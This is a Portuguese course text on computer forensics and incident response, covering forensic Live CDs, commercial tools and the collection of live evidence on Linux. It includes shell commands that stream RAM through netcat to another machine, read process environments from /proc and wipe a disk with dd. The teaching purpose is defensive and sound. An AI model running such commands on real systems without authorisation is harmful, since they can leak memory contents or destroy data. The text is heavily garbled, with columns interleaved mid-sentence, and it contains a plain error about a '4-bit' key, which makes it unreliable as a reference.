operacional
partições variadas. Entretanto, um suporte nativo
no sistema operacional pode ser muito útil e poupar
tempo do investigador.

Sistema operacional
Além disso, o sistema operacional precisa ser seguro
o suficiente para não ser comprometido com alguma
Durante o curso, usaremos o Linux, por causa de
algumas características deste sistema: ferramenta investigada. Imagine se o investigador está
Não é necessário adquirir licenças para uso analisando um arquivo desconhecido e sua estação
Existe uma gama completa de ferramentas de análise forense de uso
livre forense é comprometida por este arquivo?
Capacidade de acessar qualquer tipo de sistema de arquivos ou
partições a partir de configuração no kernel
Capacidade de acessar diversos tipos de dispositivos (USB, discos Além disso, existem outras vantagens no uso do
etc)
Linux, como o sistema da estação forense e das
Firewall embutido no kernel e possibilidade de utilizar diversas
modificações no kernel para aumentar a segurança da máquina ferramentas. O sistema permite a criação de CDs
Disponibilidade de diversas distribuições prontas para análise
forense, facilitando o trabalho de reunir diferentes ferramentas
inicializáveis que rodam em praticamente qualquer
configuração de hardware sem a necessidade de
instalação de drivers; rodam com pouca memória
e contam com diversos mecanismos de segurança
embutidos no próprio sistema.
Sistema operacional
Existem diversas opções para resolver o problema
Apesar disso, existem limitações na utilização do
sistema Linux. de análise de binários de outros sistemas operacio-
Se for necessário analisar algum executável para nais. No caso do Windows, em alguns casos é possí-
Windows, precisaremos de uma maneira de emular o vel executar o binário com emuladores por software
Windows. A melhor opção é utilizar o VMWare ou
outro sistema de emulação, como o Wine. como o Wine, ou utilizar o próprio VMWare com um
Apesar da escolha pelo Linux, existem ótimas sistema Windows rodando na máquina virtual.
ferramentas de análise forense para Windows, tal
como o software EnCase. Além disso, dependendo do tipo de análise que vai
ser feita, existem debuggers para Linux que têm
suporte a diversos formatos de binários e processa-
dores, como por exemplo o IDA-Pro.

Ambiente e ferramentas de análise forense


22
Escola Superior de Redes RNP

Live CD
Live CD

Há grupos especializados em reunir as melhores


Importante manter as ferramentas atualizadas
Existem diversos CDs inicializáveis com sistemas ferramentas para análise forense. Existem diversos
Linux: CDs inicializáveis com sistemas Linux, prontos
Não precisam ser instalados para serem utilizados em um atendimento inicial a
Normalmente não modificam o sistema instalado um incidente. Eles não precisam ser instalados, e
Podem ser utilizados em um sistema ligado ou como normalmente não causam modificações no sistema
dispositivo de boot em um sistema desligado
instalado. Podem ser utilizados em um sistema
São atualizados pelos responsáveis
Contêm uma ampla gama de ferramentas ligado, ou como dispositivo de boot em um sistema
desligado. Contendo uma ampla gama de ferramen-
tas, sua atualização é mantida pelos responsáveis.

Um grande problema para o investigador é manter atualizadas todas as suas fer-


ramentas, medida importante em um processo de análise forense. Por exemplo,
investigadores da polícia técnica ou peritos criminais em informática têm como
parte dessas atividades manter suas ferramentas atualizadas.

A recomendação de utilizar um Live CD, ou um pacote pronto de ferramentas, vale


para aqueles profissionais que não têm como atividade principal a realização de
análise forense, desempenhando a atividade apenas em casos isolados. Nestes
casos, quando existir a necessidade de realizar uma análise forense, basta baixar
a última versão da distribuição definida como padrão, e todas as ferramentas
estarão atualizadas.

Em nosso curso utilizaremos o Helix, uma distribui-


Live CD
ção específica para análise forense, baseada em
uma versão altamente modificada do Knoppix Linux.
Helix é uma distribuição específica para análise forense
Contém ferramentas para análise e resposta a incidentes Além de conter ferramentas para análise e resposta
em ambientes Linux, e um pacote de ferramentas para a incidentes em ambientes Linux, o Helix contém um
análise em sistemas Windows que ainda estejam ligados.
pacote de ferramentas para análise em sistemas
Pode ser utilizado como um CD de boot em sistemas
desligados, ou montado em um sistema ligado para servir Windows que ainda estejam ligados. Ele foi modifi-
como fonte de ferramentas para uma resposta inicial ao cado para garantir que nenhuma alteração seja feita
incidente.
ao sistema analisado. Pode ser utilizado como um
Utilizado por diversas instituições e grupos de análise
forense e de resposta a incidentes. CD de boot em sistemas desligados, ou montado
em um sistema ligado para servir como fonte de
ferramentas para uma resposta inicial ao incidente. É
utilizado por diversas instituições e grupos de análise
forense e de resposta a incidentes, o que garante
que esteja sempre atualizado.

Além das ferramentas que serão discutidas durante o curso, existem muitas
outras presentes no CD que o aluno poderá utilizar, incluindo interfaces gráficas
para algumas das ferramentas discutidas. No curso, examinaremos as ferramen-
tas de comando de linha que permitem trabalhar em um nível mais baixo de opera-
ção, e entender o real funcionamento de cada uma.

Análise forense – Sessão de aprendizagem 2


23

É importante deixar claro que o ambiente escolhido


Live CD
para resposta ao incidente ou para a investigação
Além do Live CD, em nosso curso utilizaremos o VMWare, ambiente
forense não deve de maneira nenhuma modificar
virtual que simula um computador real, permitindo a execução de qualquer dado no sistema suspeito sem o conheci-
praticamente qualquer sistema operacional.
Utilizaremos uma imagem do CD do Helix associada ao CD-ROM da mento e controle do investigador. Por exemplo, uma
máquina virtual.
distribuição Linux normal, ao ser iniciada, vai tentar
Configurações da máquina virtual:
256 MB de RAM montar qualquer dispositivo de disco presente na
Disco rígido de 8 GB, para armazenar dados dos exercícios e servir máquina, e isso deve ser evitado a todo custo. Esta
como exemplo
Imagem do Helix associada ao CD-ROM é a vantagem de utilizar uma distribuição específica
Placa de rede host-only (só se conecta ao computador local) para análise forense.
Com o VMWare, podemos reverter o estado da máquina virtual para
estados anteriores, evitando assim a perda de dados proveniente de
comandos errados.

Hardware forense

Há no mercado diversas soluções de hardware que


podemos utilizar para realizar a duplicação e análise
pericial. Estas ferramentas são mais completas e
realizam cópias perfeitas das informações em uma
imagem. Através da imagem, o perito realiza sua
análise sem danificar as provas originais. Permitem
a duplicação em alta velocidade, com bloqueio físico
de escrita, cálculo de hash MD5, SHA1, SHA2, emis-
são de logs de operação etc.

Em plataformas integradas de processamento,


Estações e servidores estes sistemas estão disponíveis em configurações
para computação móveis, estacionárias ou de laboratório, projetados
forense para aquisição e exames de evidências. Possibilitam
duplicar as evidências diretamente do HD IDE/SCSI/
SATA, disquetes, CD, DVD, ZIP driver, fita DAT 4MM
e PCCARD, SmartMedia, SD-MMC, Memory Stick,
Compact Flash.

Duplicadores de HDs com suporte às principais


interfaces, tais como: IDE, Enhanced IDE, Narrow
SCSI, Wide SCSI, Ultra SCSI e SCA. Podem transferir
dados de diferentes interfaces.

Duplicação em larga escala substitui com inúmeras


vantagens os atuais processos de clonagem de
discos via software. Ideal para operações de deploy-
ment e fábricas de PCs.

Duplicadores de HDs
e equipamentos para
bloqueio de escrita em
mídias digitais

Ambiente e ferramentas de análise forense


24
Escola Superior de Redes RNP

Redes Wi-Fi

Equipamento dedicado para análise de sinal WLAN


802.11 e ciências forenses. O foco do produto é a
facilidade de uso e automação. É capaz de capturar
todo o tráfego Wi-Fi num raio de 4 km fazendo uso
simultâneo dos 14 canais de comunicação 802.11.

Wireless Wi-Fi Completamente invisível na rede, permite o armazenamento dos pacotes em


padrões que podem ser usados por qualquer ferramenta de análise forense de
rede. Realiza a decriptografia simultânea de WEP e WPA.

Celulares

\\XRY – A análise forense de aparelhos celulares ganha outra dimensão com o


uso do .XRY. Incrivelmente rápido, seguro e prático de usar. O visualizador de
dados é gratuito, permitindo a análise distribuída por uma equipe maior e o
compartilhamento de informações.

\\SIM ID Cloner – Permite análise em celulares com chip bloqueado ou danificado.

Celulares

Pacote forense
Pacote forense

Helix
Helix
The Coroner's Toolkit
Flag-Knoppix Este software oferece aos profissionais da área
SMART Linux a possibilidade de executar vários processos de
análise forense computacional. Suporta diversos
Comerciais sistemas operacionais. Pode ser executado através
FTK Forensic Toolkit de um sistema operacional ou antes do início do
EnCase sistema operacional. Suas principais características
são:

\\Suporte aos sistemas operacionais das


plataformas Windows, Linux e Solaris;

\\Mostra informações do sistema, como: versão do


sistema operacional, rede, discos, partições e o
sistema de arquivos, além do tamanho;

\\Realiza cópia perfeita de disco e memória


física, em outra área, como a rede ou em mídia
removível;

\\Disponibiliza o acesso a vinte ferramentas de


perícia forense computacional;

Helix

Análise forense – Sessão de aprendizagem 2


25

\\Possui algumas documentações a respeito de perícia forense computacional


que podem ajudar o perito a desenvolver o seu trabalho;

\\Possui um navegador que possibilita expandir os discos e verificar algumas


propriedades dos arquivos e pastas;

\\Contém uma ferramenta de procura rápida por imagens de diversos formatos


no computador;

\\Possui um editor de texto para realizar anotações importantes sobre o que


está sendo analisado.

FTK Forensic Toolkit

Oferece aos profissionais da área a habilidade de executar perícias completas nos


computadores. Com esta ferramenta é possível customizar filtros que permitem a
pesquisa em milhares de arquivos e encontrar a evidência rapidamente. O FTK é
conhecido no mercado como uma das principais ferramentas de análise forense
de e-mail. Suas principais características são:

FTK Forensic Toolkit

\\Recuperação de e-mails excluídos;

\\Visualização de registros;

\\Gera auditoria de logs e relatórios de casos;

\\Recupera automaticamente arquivos excluídos e partições;

\\Visualiza mais de 270 formatos diferentes de arquivos;

\\O FTK Explorer permite que se navegue rapidamente pelas imagens encontradas;

Ambiente e ferramentas de análise forense


26
Escola Superior de Redes RNP

\\Suporta vários sistemas de arquivos, como NTFS, FAT12, FAT16, FAT32, Linux
Ext2 e Ext3;

\\Suporta os formatos de imagens de outros programas, como o EnCase;

\\É suportado por vários clientes de e-mail, como o Outlook, Outlook Express,
Yahoo, Hotmail etc.

\\Pesquisa, visualiza, imprime e exporta mensagens de e-mails e anexos;

\\Extrai informações da maioria dos arquivos compactados.

EnCase Forensics

Ferramenta gráfica do setor de tecnologia da investigação forense de computado-


res. Com uma interface de uso intuitivo, auxilia o perito na análise e aquisição dos
dados, realiza busca em diversas mídias e gera documentação. O programa foi
desenvolvido para atender a necessidade dos peritos em buscar informações no
formato eletrônico, tais como e-mails e internet. Suas principais características são:

\\Investigação reativa;
EnCase Forensics
\\Provas não repudiáveis;

\\Reforça metodologia internacional;

\\Acesso a informações escondidas;

\\Automatização de pesquisas;

\\Resposta a incidentes e combate a fraudes;

\\Investigação pró-ativa;

\\Resposta a incidentes após a última linha de defesa;

\\Documentação de incidentes;

\\Discrição;

\\Assertividade no processo de recuperação.

Análise forense – Sessão de aprendizagem 2


27

NetWitness

Ferramenta capaz de analisar o tráfego que flui na rede. Anos de colaboração


com o departamento de inteligência dos EUA fizeram com que o NetWitness seja
capaz de analisar grande volume de informação dinâmica, respondendo imediata-
mente a ataques: quem fez o quê, onde, quando, como e por quê.

Net Witness

Programas específicos

O processamento de imagens está integrado aos sistemas de investigação mais


avançados do mundo. O resultado dessa combinação é o enorme aumento de
produtividade e expansão dos limites humanos, quando for necessário o processa-
mento de grande quantidade de imagens.

Software para
reconhecimento visual
de imagens

Ambiente e ferramentas de análise forense


28
Escola Superior de Redes RNP

Para exemplificar, veja as imagens da capa da


revista Time. A da esquerda é a original; a da direita
contém uma informação secreta, que só poderá ser
descoberta por quem tiver a senha e o programa
apropriado.

Gargoyle Investigator Forensic

Esteganografia Busca a identificação de armas digitais em sistemas isolados. Compatível com


imagens capturadas por EnCase, DD, FTK e outros. Expande a funcionalidade
para busca em rede por toda a corporação, incluindo: Anti Forensics, Binary
Editors, BotNets, Credit Card Fraud Tools, Denial of Service Tools, Encryption,
Steganography, Exploit Scanners, File Splitters, Gaming Tools, Keyloggers,
Spyware, Peer to Peer Communications, Password Crackers, Remote Access
Tools, Trojans, Worms, Rootkits, Wired and Wireless Surveillance.

Stego realiza a detecção de esteganografia em imagens ou arquivos de áudio


diretamente no sistema de arquivos, em HDs capturados ou pela internet. Realiza
a análise detalhada e a busca dos arquivos altamente supeitos. Realiza ataques de
dicionário e força bruta contra algoritmos conhecidos de esteganografia.

Ultimate Toolkit contém várias ferramentas necessárias para investigação e


perícia de computadores e outras evidências digitais. Dentre as principais, desta-
camos: Forensic Toolkit, Registry Viewer, Password Recovery Toolkit e Distributed
Network Attack. Rainbow Tables é uma ferramenta de ataque pré-computado
de força bruta que reduz o tempo de quebra de chaves de criptografia de 40
bits para segundos. Um ataque de força bruta sobre uma chave de 4 bits deve
processar 1 trilhão de possibilidades, e um Pentium IV processando 500.000
combinações por segundo levaria 25 dias para completá-lo. Com Rainbow Tables
você pode decriptografar um documento de Word em segundos ou minutos, ao
invés de dias.

Mercury encontra as evidências de maneira rápida. Integrado ao EnCase


Forensics, indexa o arquivo de evidências e permite buscas avançadas por pala-
vras-chaves, proximidade, combinações etc. Pode ser distribuído para pessoas
que não possuem conhecimento técnico, aumentando a produtividade da equipe
de investigação.

Análise forense – Sessão de aprendizagem 2


29

Preparação da investigação
Preparação da investigação

A primeira ação é preparar as ferramentas e disposi-


No atendimento inicial a um incidente, o investigador
deve: tivos para a coleta das evidências.
Coletar o máximo possível de evidências
Comprovar o incidente Ao investigar um sistema possivelmente compro-
Conter possíveis ataques originados no sistema metido que esteja ligado, o investigador deve se
comprometido
preocupar em coletar primeiro as informações mais
Como fazer tudo isso, minimizando a perda de dados?
voláteis, como memória RAM, informações de rede,
Nesta hora, a utilização de um checklist pode ajudar,
principalmente se o sistema ainda estiver ligado. processos em execução, cópia do disco rígido, logs
A resposta precisa ser rápida e precisa. e históricos.

Normalmente, o investigador vai ter a sua disposição


equipamentos de armazenagem e de rede para se
Preparação da investigação
comunicar com o sistema suspeito.
Primeira ação: preparar as ferramentas e dispositivos
para a coleta das evidências. Durante o curso, utilizaremos o Live CD do Helix em
Coletar primeiro as informações mais voláteis: um sistema virtual, como por exemplo no atendi-
Memória RAM, informações de rede, processos em mento a incidentes em sistemas ligados.
execução, cópia do disco rígido, logs, históricos;
Possuir equipamentos de armazenagem e de rede
para comunicação com o sistema suspeito.
Durante o curso, vamos utilizar o Live CD do Helix em
um sistema virtual, como por exemplo no atendimento
a incidentes em sistemas ligados.

Preparação do ambiente
Preparação do ambiente

# fdisk -l8
Inicialmente, preparemos o ambiente que vamos
utilizar durante o atendimento ao incidente: Disk /dev/sda: 8589 MB, 8589934592 bytes
255 heads, 63 sectors/track, 1044 cylinders
# fdisk –l
Disk /dev/sda: 8589 MB, 8589934592 bytes Units = cylinders of 16065 * 512 = 8225280 bytes
255 heads, 63 sectors/track, 1044 cylinders Device Boot Start End Blocks Id System
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot Start End Blocks Id System /dev/sda1 1 32 257008+ 82 Linuxswap
/dev/sda1 1 32 257008+ 82 Linuxswap
/dev/sda2 33 64 257040 83 Linux
/dev/sda2 33 64 257040 83 Linux
/dev/sda3 65 1044 7871850 5 Extended /dev/sda3 65 1044 7871850 5 Extended
/dev/sda5 65 1044 7871818+ 83 Linux
# mkdir /data
/dev/sda5 65 1044 7871818+ 83 Linux
# mount /dev/sda5 /data
# mkdir /data8

# mount /dev/sda5 /data8

Ambiente e ferramentas de análise forense


30
Escola Superior de Redes RNP

Neste exemplo, vamos copiar a memória RAM do sis-


Preparação do ambiente
tema virtual para um arquivo, e gravá-lo no diretório mon-
A memória RAM é a informação mais volátil que existe no
tado previamente. Pode acontecer de algum aluno não
sistema. ter montado a partição do disco conforme mostrado, e
No Helix, temos uma ferramenta chamada memdump, que faz
acontecer um erro por falta de espaço. Consulte o slide
uma cópia da memória RAM, que podemos redirecionar para
um arquivo em disco: anterior para montar a partição do disco corretamente.
# memdump > /data/phys_memory.img
Além disso, podemos redirecionar para uma conexão de rede,
e coletar remotamente o arquivo em nossa estação forense:
Na estação forense: Nota: O memdump tem um parâmetro para copiar a memória
# nc -l -p 4000 > /data/phys_memory.img do kernel do Linux, além de copiar a memória física. Este
Na máquina suspeita: parâmetro não funciona dentro do sistema virtual.
# memdump | nc 127.0.0.1 4000

O comando netcat (nc) é muito importante para o analista forense. Ele permite criar
conexões de rede TCP ou UDP com outras máquinas, além de criar listeners, permitindo
simular a existência de um serviço, ou, como no exemplo, permitir a cópia de arquivos
pela rede sem utilização de software específico para isso. O instrutor deve tomar algum
tempo para mostrar o funcionamento do netcat, especificamente no exemplo dado.

No exemplo, o aluno vai utilizar o netcat para criar um listener na máquina, na


porta 4000, redirecionando a saída dele para um arquivo. A seguir, em outro
terminal, o aluno vai executar o memdump, redirecionando a saída dele para o
netcat, que vai criar uma conexão com a máquina local, na porta 4000, e enviar
toda a saída do memdump para essa conexão.

Com isso, a saída do comando memdump vai ser transmitida pela rede (neste
caso, localmente, mas normalmente através da rede física) para o arquivo especi-
ficado no primeiro redirecionamento. É possível redirecionar para uma conexão de
rede, e coletar remotamente o arquivo em nossa estação forense:

Na estação forense:
Preparação do ambiente
# nc -l -p 4000 > /data/phys_memory.img8
Passos importantes durante o atendimento a um incidente:
Manter um registro preciso de todas as ações executadas, registrando Na máquina suspeita:
todos os comandos executados, com os respectivos tempos de
execução. # memdump | nc 127.0.0.1 40008
Descobrir se as informações de tempo disponíveis em suas evidências
são coerentes.
Durante a fase de análise das evidências, o inves-
O timezone de logs e da máquina é um dado muito importante.
Por isso, após recuperar a memória da máquina, é importantetigador vai precisar correlacionar as evidências
descobrir essas informações:
# date encontradas na máquina invadida com evidências
Sun Jan 6 01:34:46 MST 2008 externas, como logs de firewall, roteadores, IDS etc.
# uptime
01:35:16 up 7:55, 5 users, load average: 0.13, 0.26, 0.18 O sincronismo de tempo e a coerência entre os time-
zones dessas evidências é importante para garantir
a validade das conclusões encontradas através das
evidências. Por isso é importante descobrir essa informação o quanto antes,
durante o atendimento inicial do incidente.

Análise forense – Sessão de aprendizagem 2


31

Este passo normalmente é o primeiro a ser realizado, mas como tentamos evitar
ao máximo o comprometimento de evidências, executamos estes comandos
somente após a coleta da memória, pois a execução destes comandos poderia
sobrescrever alguma evidência em memória.

O instrutor pode comentar sobre a necessidade de manter dispositivos sincroniza-


dos, de preferência com servidores NTP confiáveis, e sobre o funcionamento do
timezone e do relógio do sistema, que está sempre em UTC. A configuração de
timezone é utilizada somente para mostrar a hora no valor local.

No início da investigação, um passo importante durante o atendimento a um inci-


dente é manter um registro preciso de todas as ações executadas; para isso, é
necessário registrar todos os comandos executados, com os respectivos tempos
de execução.

Além disso, é importante descobrir se as informações de tempo disponíveis em


suas evidências são coerentes. O timezone de logs e da máquina é um dado
muito importante. Por isso, após recuperar a memória da máquina, é importante
descobrir essas informações:

# date8
Sun Jan 6 01:34:46 MST 2008

# uptime8
01:35:16 up 7:55, 5 users, load average: 0.13, 0.26, 0.18

Coletando informações dos processos


Coletando informações dos processos

# lsof –l LSOF é um comando importante para a coleta de


Lista todos os arquivos abertos. informações sobre processos e conexões de rede,
Use os comandos more ou less ou redirecione a saída através porque integra a funcionalidade de diversas ferra-
do netcat
# lsof -i
mentas diferentes. Pode funcionar como o netstat ou
Lista todos os arquivos de rede abertos, para descobrir os como o ps, por exemplo, além de ter a capacidade
programas que estão mantendo conexões abertas. de listar arquivos abertos. Neste slide e no próximo,
Tem a mesma função do comando netstat –nap.
o instrutor pode dedicar algum tempo a testar os
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
Xorg 2252 root 1u IPv4 9383 TCP *:x11 (LISTEN) parâmetros do LSOF com mais profundidade, além
sshd 2792 root 3u IPv4 10359 TCP *:ssh (LISTEN)
pump
sshd
2870 root
2872 root
0u IPv4 10612
3u IPv4 10647
TCP *:bootpc (LISTEN)
TCP 192.168.47.129:ssh-
dos parâmetros apresentados aqui.
>192.168.47.1:4944 (ESTABLISHED)

# lsof –l8

Lista todos os arquivos abertos. A saída pode ser grande, por isso use algum tipo
de controle de saída. Use os comandos more ou less, por exemplo, ou redirecione
a saída através do netcat.

# lsof -i8

Lista todos os arquivos de rede abertos. Com isso é possível descobrir os programas
que estão mantendo conexões abertas. Tem a mesma função do comando netstat –nap.

Ambiente e ferramentas de análise forense


32
Escola Superior de Redes RNP

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME


Xorg 2252 root 1u IPv4 9383 TCP *:x11 (LISTEN)
sshd 2792 root 3u IPv4 10359 TCP *:ssh (LISTEN)
pump 2870 root 0u IPv4 10612 TCP *:bootpc (LISTEN)
sshd 2872 root 3u IPv4 10647 TCP 192.168.47.129:ssh->192.168.47.1:4944
(ESTABLISHED)

Uma maneira de utilizar o LSOF é em conjunto com


Coletando informações dos processos
o comando grep. Podemos limitar o que o LSOF
Utilização de LSOF em conjunto com o comando grep:
mostra, para listar todos os arquivos abertos por um
# lsof -l | grep LISTEN
determinado comando (lsof –l | grep netscape) ou
Xorg
sshd
2252
2792
0
0
1u
3u
IPv4
IPv4
9383
10359
TCP *:x11 (LISTEN)
TCP *:ssh (LISTEN) todos os programas que mantêm um listener aberto.
pump 2870 0 0u IPv4 10612 TCP *:bootpc (LISTEN)

Este comando mostra todos os processos que mantêm # lsof -l | grep LISTEN8
um socket Unix aberto: Xorg 2252 0 1u IPv4 9383 TCP *:x11 (LISTEN)
# lsof -U sshd 2792 0 3u IPv4 10359 TCP *:ssh (LISTEN)
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
udevd 517 root 3u unix 0xce957e00 4060 socket pump 2870 0 0u IPv4 10612 TCP *:bootpc (LISTEN)
dbus-daem 1485 messagebus 3u unix 0xce957c80 7524
/var/run/dbus/system_bus_socket
dbus-daem 1485 messagebus 5u unix 0xce957b00 7526 socket
Este comando mostra todos os processos que
mantêm um socket Unix aberto. Pode ser importante
para descobrir processos escondidos que estão
mantendo conexões abertas e pipes que podem indi-
car a presença de trojans e rootkits.

# lsof -U8
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
udevd 517 root 3u unix 0xce957e00 4060 socket
dbus-daem 1485 messagebus 3u unix 0xce957c80 7524 /var/run/dbus/system_bus_socket
dbus-daem 1485 messagebus 5u unix 0xce957b00 7526 socket

Outra forma de recuperar informações sobre pro-


Coletando informações dos processos
cessos é através do diretório /proc. Este diretório é
Recuperação de informações sobre processos através
criado virtualmente pelo kernel do sistema operacio-
do diretório /proc: nal para armazenar informações sobre o hardware e
# ls /proc/2877 software básicos do sistema. Para cada processo,
attr auxv cmdline cwd environ exe fd maps
mem mounts mountstats oom_adj oom_score root um diretório é criado com diversos dados sobre ele:
seccomp smaps stat statm status task wchan
Para cada processo existem diversas informações
disponíveis. # ls /proc/28778
Alguns destes arquivos contêm dados importantes attr auxv cmdline cwd environ exe fd maps mem
sobre o processo em execução. mounts mountstats oom_adj oom_sco
re root seccomp smaps stat statm status task wchan

É importante perceber que, como este diretório é vir-


tual, isto é, não existe fisicamente no disco, qualquer
modificação feita nele não vai comprometer as evidências em disco. Contudo, é
importante notar que é preciso ter muito cuidado para não modificar nada mais
além deste diretório.

Como podemos ver, para cada processo existem diversas informações disponíveis.
Alguns destes arquivos contêm dados importantes sobre o processo em execução.

Análise forense – Sessão de aprendizagem 2


33

Muitas vezes, ao invadir uma máquina e instalar


Coletando informações dos processos
alguma ferramenta, o hacker costuma modificar
Conteúdo de alguns arquivos:
o nome dos arquivos para nomes comuns em um
O arquivo abaixo é na verdade um link para o diretório sistema, como por exemplo sshd ou httpd. É impor-
corrente do processo: tante descobrir o diretório onde esses arquivos
# ls -l /proc/2877/cwd
lrwxrwxrwx 1 root root 0 Jan 5 18:50 /proc/2877/cwd estão, sem comprometer evidências no disco, para
-> /data comprovar o comprometimento da máquina.
O arquivo abaixo contém a linha de comando utilizada para
iniciar o processo, servindo para identificar processos Análise de conteúdo de alguns arquivos
estranhos:
# cat /proc/2877/cmdline
-bash O arquivo abaixo é na verdade um link para o diretório
corrente do processo. Pode ser importante para des-
cobrir se algum processo com um nome comum (por
exemplo httpd) está sendo executado a partir de um diretório que não seja padrão.

# ls -l /proc/2877/cwd8
lrwxrwxrwx 1 root root 0 Jan 5 18:50 /proc/2877/cwd -> /data

O arquivo abaixo contém a linha de comando utilizada para iniciar o processo. Da


mesma forma que o arquivo anterior, pode ser importante para descobrir proces-
sos estranhos.

# cat /proc/2877/cmdline8
-bash

Outra forma de comprometer um sistema é através da


Coletando informações dos processos
instalação de bibliotecas compartilhadas modificadas.
Neste caso, o hacker pode carregá-las de diversas
O arquivo abaixo contém as variáveis de ambiente
utilizadas no momento da execução do programa. maneiras, mas um meio comum é através da modi-
ficação da variável de ambiente LD_PRELOAD, que
# cat /proc/2877/environ
USER=rootLOGNAME=rootHOME=/rootPATH=/sbin:/bin:/u define as bibliotecas compartilhadas que devem ser
sr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin:/ carregadas antes da execução de um binário qualquer.
usr/X11R6/binMAIL=/var/mail/rootSHELL=/bin/bashSS
H_CLIENT=192.168.47.1 4944 A existência desta variável apontando para um arquivo
22SSH_CONNECTION=192.168.47.1 4944 192.168.47.129
22SSH_TTY=/dev/pts/2TERM=vt100 suspeito pode indicar o comprometimento da máquina.

O arquivo abaixo contém as variáveis de ambiente


utilizadas no momento da execução do programa.
Repare que as variáveis de ambiente criadas pelo
SSH aparecem aqui, o que pode ser importante para identificar algum programa
que tenha sido executado remotamente.

# cat /proc/2877/environ8
USER=rootLOGNAME=rootHOME=/rootPATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sb
in:/usr/local/bin:/usr/X11R6/binMAIL=/var/mail/root
SHELL=/bin/bashSSH_CLIENT=192.168.47.1 4944
22SSH_CONNECTION=192.168.47.1 4944 192.168.47.129
22SSH_TTY=/dev/pts/2TERM=vt100

Ambiente e ferramentas de análise forense


34
Escola Superior de Redes RNP

Este arquivo mostra informações de status do pro-


Coletando informações dos processos
cesso. Podemos ver informações sobre usuário/
Este arquivo mostra informações de status do
grupo que executou o processo, memória e CPU
processo: utilizados, entre outras informações.
# cat /proc/2877/status
Name: bash # cat /proc/2877/status8
State: S (sleeping)
Name: bash
SleepAVG: 98%
Tgid: 2877
State: S (sleeping)
Pid: 2877 SleepAVG: 98%
PPid: 2872 Tgid: 2877
TracerPid: 0 Pid: 2877
Uid: 0 0 0 0 PPid: 2872
Gid: 0 0 0 0
TracerPid: 0
Uid: 0 0 0 0
Gid: 0 0 0 0

Este exemplo mostra como recuperar um processo


Coletando informações dos processos
em memória, sem precisar encontrar o arquivo corres-
É possível recuperar processos através do /proc. Exemplo:
pondente em disco. É comum os hackers removerem
do disco as ferramentas que instalam na máquina
# ps ax | grep sshd
2792 ? Ss 0:00 /usr/sbin/sshd após executá-las, pois, dessa forma, se o sistema é
2872 ? Ss 0:07 sshd: root@pts/2,pts/3 reiniciado, não há mais traços de suas atividades. Por
# cat /proc/2792/exe > /data/proc_2792_sshd.dat isso é importante tomar cuidado ao começar a investi-
# sha1sum /data/proc_2792_sshd.dat /usr/sbin/sshd
gar um sistema suspeito, pois simplesmente desligá-lo
415b2c34037fad7d2cf54a55e35a3892bf03ebd6 pode comprometer todas as evidências que o investi-
/data/proc_2792_sshd.dat
415b2c34037fad7d2cf54a55e35a3892bf03ebd6 gador teria para encontrar o responsável.
/usr/sbin/sshd

Quando for necessário recuperar algum processo


em memória, e o arquivo não existir mais em disco,
ou você não quiser correr o risco de modificar evidências no disco, é possível
recuperá-lo através do /proc. Vejamos um exemplo:

# ps ax | grep sshd8
2792 ? Ss 0:00 /usr/sbin/sshd
2872 ? Ss 0:07 sshd: root@pts/2,pts/3

# cat /proc/2792/exe > /data/proc_2792_sshd.dat8

# sha1sum /data/proc_2792_sshd.dat /usr/sbin/sshd8


415b2c34037fad7d2cf54a55e35a3892bf03ebd6 /data/proc_2792_sshd.dat
415b2c34037fad7d2cf54a55e35a3892bf03ebd6 /usr/sbin/sshd

Análise forense – Sessão de aprendizagem 2


35

Preservação do disco
Preservação do disco

Após a coleta de informações mais voláteis, é preciso Agora que já coletamos as informações mais voláteis,
salvar as evidências menos voláteis podemos nos preocupar em salvar as evidências
A coleta deste tipo de evidência é importante, pois será menos voláteis. Precisamos coletar uma cópia de
através dos dados armazenados nos discos que
poderemos identificar processos executados pelo hacker, quaisquer dispositivos de armazenagem conectados
como instalação de ferramentas e modificação de arquivos ao equipamento.
Há diversas metodologias e ferramentas disponíveis para
coletar uma cópia dos discos:
Equipamentos específicos para cópia de discos A coleta deste tipo de evidência é importante, pois
Ferramentas para cópia disco a disco será através dos dados armazenados nos discos que
Criação de uma “imagem de disco bit a bit” (mais comum) poderemos identificar processos executados pelo
hacker, instalação de ferramentas, modificação de
arquivos, enfim, poderemos criar uma linha do tempo
das atividades da máquina.

Para coletar uma cópia dos discos, existem diversas metodologias e ferramentas dis-
poníveis, tais como equipamentos específicos para cópia de discos, ferramentas para
cópia disco a disco, e o mais comum, a criação de uma “imagem de disco bit a bit”.

Uma imagem “bit a bit” é uma cópia fiel do conteúdo do dispositivo de armazenagem,
garantindo que todos os dados presentes no dispositivo estejam presentes na imagem.

Existem diversos formatos de imagem, alguns por


Preservação do disco
ferramentas específicas, como o software comercial
EnCase, outros mais difundidos, como o formato DD.
Neste curso vamos utilizar o formato DD, por ser mais
difundido e mais facilmente manipulado dentro de um
ambiente Linux. Neste curso vamos utilizar o formato DD, por ser
Para coletar uma imagem de um dispositivo de disco, mais difundido e mais facilmente manipulado dentro
utilizaremos a ferramenta dd (daí o nome do formato DD).
de um ambiente Linux. Para coletar uma imagem de
Ferramenta disponível por padrão em qualquer sistema
Linux, permite que se realizem cópias “bit a bit” entre um dispositivo de disco, utilizaremos a ferramenta dd
dispositivos, ou então entre dispositivos e arquivos e (daí o nome do formato DD). Esta ferramenta, dispo-
vice-versa. nível por padrão em qualquer sistema Linux, permite
que se realizem cópias bit a bit entre dispositivos, ou
então entre dispositivos e arquivos e vice-versa.

A necessidade de zerar o conteúdo do disco que vai


Preservação do disco
armazenar as evidências existe mais no caso de ser
feita uma cópia de disco a disco. Como o disco novo
Antes de copiar as evidências, é necessário garantir que
nosso dispositivo de armazenagem está limpo. geralmente não é exatamente igual ao disco copiado,
Para isso, zerar o conteúdo do disco (antes de gravar em termos de tamanho, geometria etc, pode ser que
qualquer evidência) com o seguinte comando: existam algumas partes dele que não sejam sobres-
# dd if=/dev/zero of=/dev/<dispositivo> bs=512 critas pelo conteúdo do disco copiado. Com isso,
conv=noerror
dados que possam existir no disco novo vão continuar
dd: writing `/dev/<dispositivo>': No space left on device
514018+0 records in gravados nessas áreas, podendo confundir o investi-
514017+0 records out
